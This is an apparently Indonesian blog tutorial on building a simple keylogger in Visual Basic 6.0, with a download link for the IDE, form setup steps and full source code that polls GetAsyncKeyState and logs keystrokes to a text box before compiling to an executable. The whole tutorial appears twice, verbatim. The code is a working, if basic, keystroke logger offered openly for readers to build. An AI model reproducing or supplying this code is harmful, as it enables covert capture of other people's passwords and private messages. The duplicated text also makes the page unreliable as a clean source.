cara Membuat Keylogger
Siapkan Bahannya:
-Visual Basic 6.0 kalo blom punya Download : http://www.mediafire.com/?uacf9692eultkqs
Tutor:
1.buat 4 commandbutton & 1 timer (timer tidak usah di ubah sama sekali)
Command1,Command2,Command3,Command4
terus Captionnya di ganti jadi seperti di bawah ini :
Command1 = Start
Command2 = Stop
Command3 = Clear
Command4 = Exit
inget ganti namanya di "Caption" jgn di Name
Tambah 1 timer dengan interval 100
jangan lupa massukan text box untuk melihat tulisan yang di catat keyboard
terus ntar di form 1 klik kanan view code terus paste code2 di bawah...
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Command1_Click()
Timer1.Enabled = True
End Sub
Private Sub Command2_Click()
Timer1.Enabled = False
End Sub
Private Sub Command3_Click()
Text1.Text = ""
End Sub
Private Sub Command4_Click()
End
End Sub
Private Sub Form_Load()
Timer1.Interval = 1
End Sub
Private Sub Frame1_DragDrop(Source As Control, X As Single, Y As Single)
End
End Sub
Private Sub Text2_Change()
End
End Sub
Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub
Contoh:
Jika sudah jadi Tinggal Jadiin .exe
Klik file truz Make A file Project.exe
jadi dah Keylogger Sederhana Buatan Mu
-Visual Basic 6.0 kalo blom punya Download : http://www.mediafire.com/?uacf9692eultkqs
Tutor:
1.buat 4 commandbutton & 1 timer (timer tidak usah di ubah sama sekali)
Command1,Command2,Command3,Command4
terus Captionnya di ganti jadi seperti di bawah ini :
Command1 = Start
Command2 = Stop
Command3 = Clear
Command4 = Exit
inget ganti namanya di "Caption" jgn di Name
Tambah 1 timer dengan interval 100
jangan lupa massukan text box untuk melihat tulisan yang di catat keyboard
terus ntar di form 1 klik kanan view code terus paste code2 di bawah...
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Command1_Click()
Timer1.Enabled = True
End Sub
Private Sub Command2_Click()
Timer1.Enabled = False
End Sub
Private Sub Command3_Click()
Text1.Text = ""
End Sub
Private Sub Command4_Click()
End
End Sub
Private Sub Form_Load()
Timer1.Interval = 1
End Sub
Private Sub Frame1_DragDrop(Source As Control, X As Single, Y As Single)
End
End Sub
Private Sub Text2_Change()
End
End Sub
Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub
Contoh:
Jika sudah jadi Tinggal Jadiin .exe
Klik file truz Make A file Project.exe
jadi dah Keylogger Sederhana Buatan Mu
Label: tips
<< Beranda